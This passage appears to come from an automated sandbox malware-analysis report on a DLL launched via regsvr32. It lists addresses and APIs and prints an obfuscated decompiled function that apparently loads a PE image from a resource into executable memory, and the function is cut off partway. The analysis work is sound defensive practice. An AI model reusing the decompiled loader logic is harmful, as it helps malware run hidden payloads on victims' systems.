				}
			}

0x6eb456b0
0x6eb456b3
0x6eb456ba
0x6eb456c6
0x6eb456cc
0x6eb456d0
0x6eb45c61
0x6eb45c61
0x6eb45c68
0x6eb45c77
0x6eb456d6
0x6eb456d6
0x6eb456dd
0x6eb456e2
0x6eb456e4
0x6eb456e9
0x6eb45714
0x6eb45719
0x6eb45723
0x6eb45728
0x6eb45732
0x6eb4573c
0x6eb45746
0x6eb45750
0x6eb4575a
0x6eb45764
0x6eb45770
0x6eb45775
0x6eb4577f
0x6eb45786
0x6eb45790
0x6eb4579a
0x6eb457a6
0x6eb457b0
0x6eb457ba
0x6eb457c1
0x6eb457cb
0x6eb457d2
0x6eb457d7
0x6eb457dc
0x6eb457e6
0x6eb457f0
0x6eb457fa
0x6eb45804
0x6eb45813
0x6eb45818
0x6eb45827
0x6eb45833
0x6eb45838
0x6eb45845
0x6eb4584b
0x6eb45851
0x6eb45857
0x6eb4585d
0x6eb45863
0x6eb45869
0x6eb4586f
0x6eb45874
0x6eb45879
0x6eb45883
0x6eb4588a
0x6eb45898
0x6eb458a0
0x6eb458ab
0x6eb458b0
0x6eb458bb
0x6eb458c0
0x6eb458cb
0x6eb458d0
0x6eb458db
0x6eb458e0
0x6eb458eb
0x6eb458f0
0x6eb458fb
0x6eb45900
0x6eb45905
0x6eb4590e
0x6eb45913
0x6eb4591e
0x6eb45923
0x6eb4592e
0x6eb45933
0x6eb4593e
0x6eb45943
0x6eb4594e
0x6eb45953
0x6eb4595e
0x6eb45963
0x6eb4596e
0x6eb45973
0x6eb4597e
0x6eb45983
0x6eb45995
0x6eb4599a
0x6eb459a5
0x6eb459aa
0x6eb459b5
0x6eb459bf
0x6eb459ca
0x6eb459d5
0x6eb459da
0x6eb459e5
0x6eb459ef
0x6eb459f7
0x6eb459fd
0x6eb45a08
0x6eb45a0d
0x6eb45a12
0x6eb45a20
0x6eb45a27
0x6eb45a33
0x6eb45a3d
0x6eb45a3f
0x6eb45a43
0x6eb45a49
0x6eb45adc
0x6eb45ae2
0x6eb45ae8
0x6eb45aee
0x6eb45af4
0x6eb45afe
0x6eb45b09
0x6eb45b15
0x6eb45b2f
0x6eb45b65
0x6eb45b76
0x6eb45b7e
0x6eb45b9b
0x6eb45b9b
0x6eb45b9e
0x6eb45a4f
0x6eb45a4f
0x6eb45a55
0x6eb45a5a
0x6eb45a64
0x6eb45a86
0x6eb45a9d
0x6eb45abd
0x6eb45ad1
0x6eb45ad1
0x6eb45ba9
0x6eb45bad
0x6eb45bb8
0x6eb45bbe
0x6eb45bc0
0x6eb45bcd
0x6eb45bd8
0x6eb45be0
0x6eb45be5
0x6eb45bed
0x6eb45bfb
0x6eb45c07
0x6eb45c1e
0x6eb45c2c
0x6eb45c2f
0x6eb45c37
0x6eb45c3d
0x6eb45c45
0x6eb45c4a
0x6eb45c4e
0x6eb45c5a
0x6eb45c60
0x00000000
0x6eb456eb
0x6eb456eb
0x6eb456ed
0x6eb456f3
0x6eb456f5
0x6eb456f5
0x6eb456f8
0x6eb456f9
0x6eb456f9
0x6eb456fd
0x6eb456fd
0x6eb45701
0x6eb45702
0x6eb45707
0x6eb4570a
0x6eb4570e
0x6eb45c7f
0x6eb45c8b
0x6eb45c8d
0x6eb45c90
0x6eb45c9a
0x00000000
0x00000000
0x00000000
0x6eb4570e
0x6eb456e9

APIs

_malloc.LIBCMT ref: 6EB456DD

Part of subcall function 6EB643C3: __FF_MSGBANNER.LIBCMT ref: 6EB643E6
Part of subcall function 6EB643C3: __NMSG_WRITE.LIBCMT ref: 6EB643ED
Part of subcall function 6EB643C3: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C,6EB6AECF), ref: 6EB6443A

LoadResource.KERNEL32(?,00000000), ref: 6EB45A2B
SizeofResource.KERNEL32(?,00000000), ref: 6EB45A37
VirtualAllocExNuma.KERNELBASE(000000FF,00000000,00000000,00001FFD,00000000,00000000), ref: 6EB45AD1
VirtualAlloc.KERNEL32(00000000,?,-00001000,?), ref: 6EB45B9E
memcpy.MSVCRT ref: 6EB45BAD
malloc.MSVCRT ref: 6EB45BB8
??3@YAXPAX@Z.MSVCRT ref: 6EB45C3D
_printf.LIBCMT ref: 6EB45C7F

Strings

+^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n, xrefs: 6EB45BF4, 6EB45C01

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocResourceVirtual$??3@AllocateHeapLoadNumaSizeof_malloc_printfmallocmemcpy
String ID: +^lc?FUPR%6D6@hW^@hZu0RYT5tz+auO$ZYZa5DctZ9>+%cuRY%u*19n
API String ID: 3670211829-193388795
Opcode ID: 3eb2f0e02060122ad9907639bbb8e889ed04ef3d4b9beffc2283fa46440eaf52
Instruction ID: 0b5dff88dbada3316cd1c487dff48657c0c05857ab7b7a0e7d667c9ca4f91eaf
Opcode Fuzzy Hash: 3eb2f0e02060122ad9907639bbb8e889ed04ef3d4b9beffc2283fa46440eaf52
Instruction Fuzzy Hash: 49E1B171A18B449BCB04DFB8D844A9FBBAAFFAA304F04492FA044D7394EB749504CF56

Uniqueness

Uniqueness Score: -1.00%

Function 6EB44010 Relevance: 15.0, APIs: 7, Strings: 1, Instructions: 1002
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6EB44010() {
				void* __esi;
				signed int _t368;
				signed int _t369;
				signed int _t388;
				signed int _t399;
				signed int _t415;
				signed int _t425;
				signed int _t449;
				signed int _t460;
				void* _t464;
				signed int _t465;
				void* _t473;
				void* _t482;
				void* _t498;
				signed int _t516;
				signed int _t523;
				void* _t537;
				signed int _t540;
				signed int _t541;
				void* _t555;
				signed int _t564;
				void* _t565;
				signed int _t566;
				signed int _t569;
				void* _t572;
				void* _t573;
				signed int _t574;
				void* _t576;
				signed int _t590;
				signed int _t597;
				intOrPtr _t600;
				signed int _t607;
				void* _t613;
				void* _t639;
				signed int _t641;
				signed int _t656;
				signed int _t682;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				signed int _t698;
				signed int _t701;
				signed int _t703;
				signed int _t704;
				signed int _t705;
				intOrPtr _t716;
				signed int _t717;
				signed int _t724;
				intOrPtr _t726;
				signed int _t727;
				signed int _t738;
				signed int _t739;
				signed int _t753;
				signed int _t763;
				signed int _t772;
				signed int _t780;
				signed int _t783;
				signed int _t784;
				signed int _t801;
				signed int _t806;
				signed int _t829;
				signed int _t831;
				signed int _t841;
				void* _t842;
				signed int _t850;
				signed int _t857;
				signed int _t863;
				signed int _t870;
				signed int _t873;
				signed int _t876;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t884;
				signed int _t886;
				signed int _t904;
				signed int _t923;
				signed int _t942;
				signed int _t949;
				signed int _t959;
				signed int _t965;
				signed int _t985;
				signed int _t998;
				signed int _t1003;
				signed int _t1020;
				signed int _t1021;
				intOrPtr _t1025;
				void* _t1030;
				signed int _t1033;
				signed int _t1038;
				signed int _t1039;
				signed int _t1040;
				signed int _t1041;
				signed int _t1042;
				signed int _t1043;
				signed int _t1044;
				signed int _t1045;
				signed int _t1046;
				signed int _t1047;
				signed int _t1055;
				signed int _t1056;
				signed int _t1057;
				signed int _t1058;
				signed int _t1061;
				signed int _t1065;
				signed int _t1070;
				signed int _t1077;
				signed int _t1078;
				long _t1080;
				signed int _t1081;
				signed int _t1082;
				signed int _t1092;
				signed int _t1097;
				intOrPtr _t1116;
				signed int _t1119;
				signed int _t1120;
				signed int _t1192;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;

				_t904 =  *0x6eb8a9c8; // 0x0
				_t1082 =  *0x6eb8a9bc; // 0x0
				_t1065 =  *0x6eb8a9cc; // 0x0
				_t1033 =  *0x6eb8a9c4; // 0x0
				 *(_t1195 + 0x18) = _t1065 * _t1033;
				_t780 =  *0x6eb8a9c0; // 0x0
				_t368 = _t904 *  *0x6eb8a9d0;
				 *(_t1195 + 0x24) = _t368;
				_t369 =  *0x6eb8a9bc; // 0x0
				_t6 = (_t1082 + 3) * _t780 + _t368 + ((1 - _t904) * _t1065 + _t780 - 1) * _t1065 + 0x40; // 0x3f
				 *(_t1195 + 0x1c) = 0;
				if((_t780 +  *(_t1195 + 0x18) * _t1033 * 2 + _t780 + 2) * _t1065 +  *((intOrPtr*)(_t1195 + 0x60)) + (_t1033 + _t1033 - _t904 * 4 + _t780) * 2 < (_t369 - 1) * _t1033 + _t6) {
					L19:
					return 0;
				} else {
					_t1038 =  *0x6eb8a9c4; // 0x0
					_t1092 =  *0x6eb8a9bc; // 0x0
					_t656 = _t780 + _t780;
					 *(_t1195 + 0x28) = _t656;
					if(( *( *(_t1195 + 0x5c)) & 0x0000ffff) != (1 - _t780 * _t1038 - _t1092) *  *0x6eb8a9d0 - (_t1092 + 1) * _t1038 - _t656 - _t904 - _t1065 + 0x5a4f) {
						goto L19;
					} else {
						_t388 = _t904 * _t1038;
						 *(_t1195 + 0x14) = _t388;
						 *(_t1195 + 0x20) = _t388 + _t388;
						_t1097 =  *0x6eb8a9d0; // 0x0
						_t399 =  *0x6eb8a9bc; // 0x0
						if((6 -  *(_t1195 + 0x20)) * _t1065 - _t1097 + _t904 + _t1097 + _t904 +  *((intOrPtr*)(_t1195 + 0x60)) < ((_t1038 + _t1038 + (1 -  *(_t1195 + 0x24)) * 2) * _t780 -  *(_t1195 + 0x20) + _t1065 + 1) * _t780 + ( *(_t1195 + 0x24) * _t1065 * _t1038 +  *(_t1195 + 0x24) * _t1065 * _t1038 - 4) *  *0x6eb8a9d0 - _t904 * _t1065 * _t1065 - _t1065 + ( *(_t1195 + 0x5c))[0x1e] + _t904 + _t904 + _t399 + _t399 + 0xf8) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t1195 + 0x10)) = (_t904 * 4 - 4) * _t780 - _t1065 + _t1038 + _t1065 + _t1038 + _t1065 + _t1038 + _t1065 + _t1038 + ( *(_t1195 + 0x5c))[0x1e] +  *(_t1195 + 0x5c);
							_t682 =  *0x6eb8a9d0; // 0x0
							if( *((intOrPtr*)( *((intOrPtr*)(_t1195 + 0x10)))) != (( *(_t1195 + 0x28) - _t904 + _t904) * _t682 * _t1038 + 0xa) * _t780 + ((2 - _t682) * _t682 + (0x1154 - _t1065) * 2) * 2 + (_t1038 + _t1038 - 4) * _t904 - _t1038 + _t1038) {
								goto L19;
							} else {
								_t415 =  *0x6eb8a9bc; // 0x0
								_t689 =  *0x6eb8a9d0; // 0x0
								_t56 = _t415 + 2; // 0x2
								if(( *( *((intOrPtr*)(_t1195 + 0x10)) + 4) & 0x0000ffff) != _t415 + _t56 * _t689 + 0x14c) {
									goto L19;
								} else {
									 *(_t1195 + 0x24) =  *( *((intOrPtr*)(_t1195 + 0x10)) + 0x38);
									_t65 = _t689 * 2; // -6
									_t68 = _t1038 * 2; // -9
									if(( *(_t1195 + 0x24) & _t689 * _t689 + _t689 * _t689 * 0x00000002 + (_t689 + _t65 - 0x00000006) * _t904 + (_t1038 + _t68 - 0x00000009) * _t1065 + 0x00000001) != 0) {
										goto L19;
									} else {
										_t425 =  *0x6eb8a9bc; // 0x0
										 *(_t1195 + 0x28) = _t425 + _t425;
										_t1116 =  *((intOrPtr*)(_t1195 + 0x10));
										_t693 =  *0x6eb8a9bc; // 0x0
										 *(_t1195 + 0x2c) = ( *(_t1116 + 0x14) & 0x0000ffff) + (( *(_t1195 + 0x18) - _t689 * _t425 + 1) * _t1038 + (_t689 + _t780) * _t1065 -  *(_t1195 + 0x28) - _t904 + _t780 + (( *(_t1195 + 0x18) - _t689 * _t425 + 1) * _t1038 + (_t689 + _t780) * _t1065 -  *(_t1195 + 0x28) - _t904 + _t780) * 4 << 4) + _t1116 + 0x18;
										 *(_t1195 + 0x20) = _t780 + _t780 * 2 + _t780 + _t780 * 2;
										_t449 = (_t693 * _t1065 + _t693 * _t1065 * 2 + _t693 * _t1065 + _t693 * _t1065 * 2 - 6) *  *0x6eb8a9d0 + ( *(_t1116 + 6) & 0x0000ffff) + ( *(_t1195 + 0x14) +  *(_t1195 + 0x14) * 2) * 2 -  *(_t1195 + 0x20);
										 *(_t1195 + 0x28) = _t449;
										if(_t449 != 0) {
											 *(_t1195 + 0x14) = _t1038 * _t1038;
											 *((intOrPtr*)(_t1195 + 0x30)) = (( *(_t1195 + 0x18) + _t693 + ( *(_t1195 + 0x18) + _t693) * 2 - 3) * _t780 - _t693 * _t1038 + _t693 * _t1038 * 2 - 9) * _t904 + _t693 + _t1038 + (_t693 + _t1038) * 2 -  *(_t1195 + 0x20);
											 *(_t1195 + 0x18) =  *(_t1195 + 0x2c) + 0xc;
											 *(_t1195 + 0x20) =  *(_t1195 + 0x28);
											do {
												if( *((intOrPtr*)( *(_t1195 + 0x18) + 4)) != 0) {
													_t639 = (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 - _t904 * 4 +  *( *(_t1195 + 0x18)) +  *((intOrPtr*)( *(_t1195 + 0x18) + 4));
												} else {
													_t1192 =  *0x6eb8a9d0; // 0x0
													_t641 =  *(_t1195 + 0x14) +  *(_t1195 + 0x14);
													 *(_t1195 + 0x2c) = _t641;
													_t763 =  *0x6eb8a9d0; // 0x0
													_t639 = ((_t641 - _t1192 + _t1192) * _t904 + _t693 + _t693) * _t904 + (4 -  *(_t1195 + 0x2c)) * _t780 - _t763 + _t763 + _t763 + _t763 +  *( *(_t1195 + 0x18)) + _t1038 + _t1038 +  *(_t1195 + 0x24);
												}
												if(_t639 >  *((intOrPtr*)(_t1195 + 0x30)) +  *(_t1195 + 0x1c)) {
													_t772 =  *0x6eb8a9d0; // 0x0
													 *(_t1195 + 0x1c) =  ~_t772 +  ~_t772 +  ~_t772 +  ~_t772 - _t904 * _t780 + _t1065 + _t904 * _t780 + _t1065 + _t639;
												}
												 *(_t1195 + 0x18) =  *(_t1195 + 0x18) + 0x28;
												_t138 = _t1195 + 0x20;
												 *_t138 =  *(_t1195 + 0x20) - 1;
												_t693 =  *0x6eb8a9bc; // 0x0
											} while ( *_t138 != 0);
										}
										_t140 = _t1038 + 2; // 0x2
										 *0x6eb8d50c(_t1195 + ((1 - _t780) * _t780 - _t904 * _t693 + _t140 * _t1038 + 8 << 4) + 0x34);
										_t694 =  *0x6eb8a9bc; // 0x0
										_t1039 =  *0x6eb8a9c0; // 0x0
										_t783 =  *0x6eb8a9c8; // 0x0
										_t1119 =  *0x6eb8a9c4; // 0x0
										_t784 = _t783 * _t694;
										 *(_t1195 + 0x2c) = _t784;
										_t149 = (_t784 - _t1119) * 4; // 0x8
										_t1070 =  *0x6eb8a9cc; // 0x0
										_t460 =  *0x6eb8a9c8; // 0x0
										_t155 = _t1070 + 3; // 0x3
										_t157 = _t694 - 2; // -2
										_t464 = E6EB42650(((4 + _t1039 * 4) *  *0x6eb8a9d0 + _t149 + 8) * _t1119 + (_t694 * 4 - _t1039 * 4 - 4) *  *0x6eb8a9d0 - (4 + _t1039 * 4) * _t1070 + _t694 * 4 +  *((intOrPtr*)(_t1195 + 0x38)), (_t460 + _t155) * _t1119 + _t157 * _t1039 +  *((intOrPtr*)( *((intOrPtr*)(_t1195 + 0x10)) + 0x50)) -  *0x6eb8a9d0 - _t694 +  *0x6eb8a9c8 + _t1070);
										_t160 = _t1119 + 1; // 0x1
										_t465 =  *0x6eb8a9c8; // 0x0
										 *(_t1195 + 0x24) = _t464 + (_t1039 * _t1039 - _t160 *  *0x6eb8a9c8 + _t1070 + (_t1039 * _t1039 - _t160 *  *0x6eb8a9c8 + _t1070) * 2) * 2;
										_t923 =  *0x6eb8a9d0; // 0x0
										 *(_t1195 + 0x34) = _t465 * _t1070;
										 *(_t1195 + 0x28) = _t923 * _t1070;
										_t473 = E6EB42650( *((intOrPtr*)(_t1195 + 0x3c)) -  *0x6eb8a9c8, (_t1039 + _t923 * _t1070 * 2 + _t1039 + 2) * _t694 +  *(_t1195 + 0x20) + ((_t465 * _t1070 * _t1039 + _t923) *  *0x6eb8a9c8 - _t1070 - _t1039) * 2);
										_t1196 = _t1195 + 8;
										if( *(_t1196 + 0x20) != _t473) {
											goto L19;
										} else {
											_t801 =  *0x6eb8a9d0; // 0x0
											_t806 =  *0x6eb8a9c8; // 0x0
											 *(_t1196 + 0x14) = _t806 * _t1119;
											_t180 = _t694 - 1; // -1
											_t942 =  *0x6eb8a9d0; // 0x0
											 *(_t1196 + 0x34) = (_t1070 * _t1039 - _t1119 + _t180) * _t1039 + (_t694 - _t1119) * _t694 + (1 - _t1119) * _t1070 -  *((intOrPtr*)(_t1196 + 0x2c)) -  *(_t1196 + 0x14) -  *0x6eb8a9c8 +  *(_t1196 + 0x28) + _t942 + 0x1000;
											_t192 = _t1039 + 1; // 0x1
											_t482 = VirtualAlloc(_t192 * _t1070 + _t694 + _t1039 + _t1119 + (_t192 * _t1070 + _t694 + _t1039 + _t1119) * 2 + ((_t1070 * _t1070 + 3 + _t1070 * _t1070 * 2) * _t694 - 9) *  *0x6eb8a9d0 +  *((intOrPtr*)( *(_t1196 + 0x14) + 0x34)),  *(_t1196 + 0x28),  *(_t1196 + 0x34) | 0x00002000 -  *(_t1196 + 0x18) + _t1070 + _t1039 + ( *(_t1196 + 0x18) + _t1070 + _t1039) * 0x00000004, (5 -  *(_t1196 + 0x30) - _t694) * _t1119 + (2 -  *0x6eb8a9c8 - _t801) * _t801 + (1 - _t1070 - _t1039) * _t694 - _t806 + 4); // executed
											 *(_t1196 + 0x18) = _t482;
											if(_t482 != 0) {
												L17:
												_t829 =  *0x6eb8a9c4; // 0x0
												_t1077 =  *0x6eb8a9bc; // 0x0
												_t949 =  *0x6eb8a9c8; // 0x0
												_t1040 =  *0x6eb8a9cc; // 0x0
												 *(_t1196 + 0x24) = _t1077 * _t829;
												_t1078 =  *0x6eb8a9c0; // 0x0
												_t1041 =  *0x6eb8a9d0; // 0x0
												_t228 = ((_t1078 + _t829) * _t1040 - _t1041 + ((_t1078 + _t829) * _t1040 - _t1041) * 2 - 3) * _t1078 + 0x40; // 0x40
												_t498 = HeapAlloc(GetProcessHeap(), 8 + ((1 - _t829) * _t829 - (_t949 + _t1078) * _t949 - _t1041 * 4) * 4, _t1040 + _t1040 - _t949 * _t829 + _t1077 + (_t1040 + _t1040 - _t949 * _t829 + _t1077) * 2 + _t228);
												_t1120 =  *0x6eb8a9c0; // 0x0
												_t698 =  *0x6eb8a9c8; // 0x0
												_t1042 =  *0x6eb8a9d0; // 0x0
												_t831 =  *0x6eb8a9cc; // 0x0
												_t233 = _t1120 + 1; // 0x1
												_t1080 = _t498 + (_t233 * _t698 * _t831 - _t1042 * _t1042 - _t1120 +  *(_t1196 + 0x24) + (_t233 * _t698 * _t831 - _t1042 * _t1042 - _t1120 +  *(_t1196 + 0x24)) * 4 << 6);
												if(_t1080 != 0) {
													 *(_t1080 + 4) =  *(_t1196 + 0x18);
													 *(_t1196 + 0x14) = _t698 *  *0x6eb8a9c4;
													 *(_t1196 + 0x20) = _t831 * _t1120;
													_t245 = _t1120 + 1; // 0x1
													_t246 = _t1120 - 2; // -2
													_t959 =  *0x6eb8a9c4; // 0x0
													_t516 = _t246 * _t1042 - _t245 * _t698 - (_t959 + 1) * _t831 -  *0x6eb8a9c4;
													_t965 =  *0x6eb8a9bc; // 0x0
													_t251 = _t516 * 2; // 0x2000
													_t841 =  *0x6eb8a9c4; // 0x0
													asm("sbb eax, eax");
													 *(_t1080 + 0x14) =  ~( ~(((0x00000002 -  *(_t1196 + 0x14) +  *(_t1196 + 0x14)) *  *0x6eb8a9bc -  *(_t1196 + 0x20) +  *(_t1196 + 0x20) + 0x00000002) * _t965 + _t251 + 0x00002000 &  *( *((intOrPtr*)(_t1196 + 0x10)) + 0x16) & 0x0000ffff));
													_t842 = _t841 + _t841 * 4;
													 *(_t1196 + 0x1c) = 5 - _t842;
													_t523 =  *0x6eb8a9cc; // 0x0
													 *((intOrPtr*)(_t1080 + 0x1c)) = E6EB43F50;
													 *((intOrPtr*)(_t1080 + 0x20)) = 0x6eb43f70;
													 *((intOrPtr*)(_t1080 + 0x24)) = 0x6eb43f90;
													 *((intOrPtr*)(_t1080 + 0x28)) = 0x6eb43fe0;
													 *((intOrPtr*)(_t1080 + 0x2c)) = 0x6eb44000;
													 *(_t1080 + 0x34) = 0;
													 *((intOrPtr*)(_t1080 + 0x3c)) =  *(_t1196 + 0x1c) * _t1042 + _t842 + (_t523 + _t1120 + 1) * _t965 + (1 - _t1120) *  *0x6eb8a9cc - _t698 + ((_t523 + _t1120 + 1) * _t965 + (1 - _t1120) *  *0x6eb8a9cc - _t698) * 4 +  *((intOrPtr*)(_t1196 + 0x38));
													_t275 = _t698 + 2; // 0x2
													_t537 = E6EB426B0( *((intOrPtr*)(_t1196 + 0x64)) -  *(_t1196 + 0x24) * 4, _t275 *  *0x6eb8a9cc + ( *(_t1196 + 0x20) + 1) *  *0x6eb8a9c4 +  *((intOrPtr*)( *((intOrPtr*)(_t1196 + 0x10)) + 0x54)) + (_t698 * _t1042 *  *0x6eb8a9cc - 3) * _t1042 +  *(_t1196 + 0x14) + _t698);
													_t1197 = _t1196 + 8;
													if(_t537 == 0) {
														L28:
														E6EB45480(_t1080);
														return 0;
													} else {
														_t540 =  *0x6eb8a9bc; // 0x0
														_t541 =  *0x6eb8a9c4; // 0x0
														_t850 =  *0x6eb8a9cc; // 0x0
														_t281 = _t541 + 2; // 0x2
														_t985 =  *0x6eb8a9c4; // 0x0
														_t286 = _t698 * 2; // -3
														_push(0);
														_t555 = E6EB43F50( *(_t1197 + 0x28),  *(_t1197 + 0x28) * _t698 + ( *(_t1197 + 0x28) + 2) * _t1120 - _t1042 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x1c)) + 0x54)) + (( *(_t1197 + 0x28) + 2) * _t1120 - _t1042) * 4, ((_t698 + _t286 - 3) *  *0x6eb8a9bc - _t1042 + _t1042 * 2 - 3) * _t1042 + _t850 + _t850 * 2 - _t698 + _t698 * 2 + 0x1000, (_t1042 + _t281) * _t850 - (_t698 * _t540 * _t540 * _t1120 + _t1042) * _t541 + (_t985 + 1) * _t1120 - _t1042 + 4 + ((_t1042 + _t281) * _t850 - (_t698 * _t540 * _t540 * _t1120 + _t1042) * _t541 + (_t985 + 1) * _t1120 - _t1042) * 2);
														_t857 =  *0x6eb8a9c8; // 0x0
														_t1043 =  *0x6eb8a9c0; // 0x0
														_t998 =  *0x6eb8a9d0; // 0x0
														_t701 =  *0x6eb8a9cc; // 0x0
														 *(_t1197 + 0x44) = _t555;
														memcpy(_t555,  *(_t1197 + 0x74), (_t998 - _t857 *  *0x6eb8a9bc * _t1043 + _t998 - _t857 *  *0x6eb8a9bc * _t1043 - 4) *  *0x6eb8a9c4 + (_t857 - (_t998 + _t1043) *  *0x6eb8a9bc - _t701 * _t1043) * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x24)) + 0x54)));
														_t1044 =  *0x6eb8a9c8; // 0x0
														_t703 =  *0x6eb8a9d0; // 0x0
														_t863 =  *0x6eb8a9c4; // 0x0
														_t1003 =  *0x6eb8a9c0; // 0x0
														_t704 =  *0x6eb8a9bc; // 0x0
														_t313 = ((_t703 + _t863) * _t1003 - _t1044 * _t1044 * _t703 - _t704) * 2; // 0x3dd
														_t315 = _t1044 + 2; // 0x2
														_t705 =  *0x6eb8a9cc; // 0x0
														_t564 =  *0x6eb8a9cc; // 0x0
														_t716 =  *((intOrPtr*)(_t1197 + 0x50)) + ((_t703 + _t863) * _t1003 - _t1044 * _t1044 * _t703 - _t704 + _t313 + 0x3dd) * _t863 + ((_t705 + 3) *  *0x6eb8a9d0 + _t315 * _t704 + _t1003) * 0x1f0 + _t564 * 0x1f6 - _t1044 + _t1044 * 2 + _t1044 + _t1044 * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x7c)) + 0x3c));
														 *_t1080 = _t716;
														 *((intOrPtr*)(_t1197 + 0x50)) = _t716;
														_t717 =  *0x6eb8a9bc; // 0x0
														 *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x50)) + 0x34)) = _t564 * _t564 - (_t717 + 1) *  *0x6eb8a9d0 * _t1003 - _t1003 * _t863 + _t1044 +  *0x6eb8a9d0 + _t863 +  *((intOrPtr*)(_t1197 + 0x38));
														_t724 =  *0x6eb8a9bc; // 0x0
														_t726 =  *((intOrPtr*)(_t1197 + 0x30));
														_push((_t863 * _t863 - _t724 * _t1003 + _t564 << 8) + _t1080);
														_push(_t726);
														_push(_t863 + _t863 + _t863 + _t863 - _t1003 + _t1003 * 2 + _t1044 + _t564 +  *((intOrPtr*)(_t1197 + 0x84)));
														_push( *((intOrPtr*)(_t1197 + 0x7c)));
														_t565 = E6EB426E0();
														_t1198 = _t1197 + 0x30;
														if(_t565 == 0) {
															goto L28;
														} else {
															_t566 =  *0x6eb8a9c8; // 0x0
															_t870 =  *0x6eb8a9bc; // 0x0
															_t1045 =  *0x6eb8a9cc; // 0x0
															_t331 = _t566 - 2; // -2
															_t569 =  *0x6eb8a9c4; // 0x0
															_t572 = ((_t566 + _t331) *  *0x6eb8a9c4 + (3 - _t870 - _t1045) * 2) * _t1045 - (_t566 + _t566 + 2) *  *0x6eb8a9c0 + (_t870 + _t569) * 2 +  *((intOrPtr*)( *_t1080 + 0x34)) -  *((intOrPtr*)(_t726 + 0x34));
															if(_t572 == 0) {
																 *((intOrPtr*)(_t1080 + 0x18)) = 1;
															} else {
																_push(_t572);
																_push(_t1080);
																_t600 = E6EB43690();
																_t1198 = _t1198 + 8;
																 *((intOrPtr*)(_t1080 + 0x18)) = _t600;
															}
															_push((_t1045 + _t1045 * 2 << 6) + _t1080);
															_t573 = E6EB43960();
															_t1199 = _t1198 + 4;
															if(_t573 == 0) {
																goto L28;
															} else {
																_t1046 =  *0x6eb8a9c8; // 0x0
																_t574 =  *0x6eb8a9c0; // 0x0
																_t873 =  *0x6eb8a9cc; // 0x0
																_t727 =  *0x6eb8a9d0; // 0x0
																_t345 = _t574 + 2; // 0x1
																_t1020 =  *0x6eb8a9c4; // 0x0
																_t347 = _t1020 * _t1020 - _t574 + 1; // 0x1
																_push((((_t1046 * _t574 - 1) * _t873 - _t727 *  *0x6eb8a9bc + _t345) *  *0x6eb8a9d0 + (_t873 + _t347) * _t873 - _t574 + _t574 * 2 + _t1046 +  *0x6eb8a9bc + _t1020 << 6) + _t1080);
																_t576 = L6EB43020();
																_t1200 = _t1199 + 4;
																if(_t576 == 0) {
																	goto L28;
																} else {
																	_t1021 =  *0x6eb8a9c8; // 0x0
																	_t1047 =  *0x6eb8a9bc; // 0x0
																	_t738 =  *0x6eb8a9d0; // 0x0
																	_t876 =  *0x6eb8a9c0; // 0x0
																	_t739 =  *0x6eb8a9cc; // 0x0
																	_t351 = _t876 + 1; // 0x1
																	if(E6EB435C0(((_t738 + _t738 - _t1021 * _t1047 - _t876 - 3) * _t738 + (_t739 - _t1047 - 1) * _t1021 + _t351 * _t876 - _t739 * 4 +  *0x6eb8a9c4 << 7) + _t1080) != 0) {
																		_t1025 =  *((intOrPtr*)( *_t1080 + 0x28));
																		if(_t1025 == 0) {
																			 *(_t1080 + 0x38) = 0;
																			return _t1080;
																		} else {
																			if( *(_t1080 + 0x14) == 0) {
																				_t590 =  *0x6eb8a9d0; // 0x0
																				_t878 =  *0x6eb8a9c0; // 0x0
																				_t879 =  *0x6eb8a9c4; // 0x0
																				_t880 =  *0x6eb8a9bc; // 0x0
																				_t881 =  *0x6eb8a9cc; // 0x0
																				 *(_t1080 + 0x38) = (_t590 *  *0x6eb8a9bc * _t881 + _t590 *  *0x6eb8a9bc * _t881 - 6) *  *0x6eb8a9c8 + _t1025 + ((2 - _t590 *  *0x6eb8a9bc * _t878) * _t878 + (2 - _t879 * _t879) * _t879 + _t880 * 2 - _t881 +  *0x6eb8a9d0) * 2 +  *((intOrPtr*)(_t1200 + 0x18));
																				return _t1080;
																			} else {
																				_t597 =  *0x6eb8a9c8; // 0x0
																				_t884 =  *0x6eb8a9cc; // 0x0
																				_t1055 =  *0x6eb8a9c4; // 0x0
																				_t1056 =  *0x6eb8a9bc; // 0x0
																				 *((intOrPtr*)(_t1080 + 0x10)) = 1;
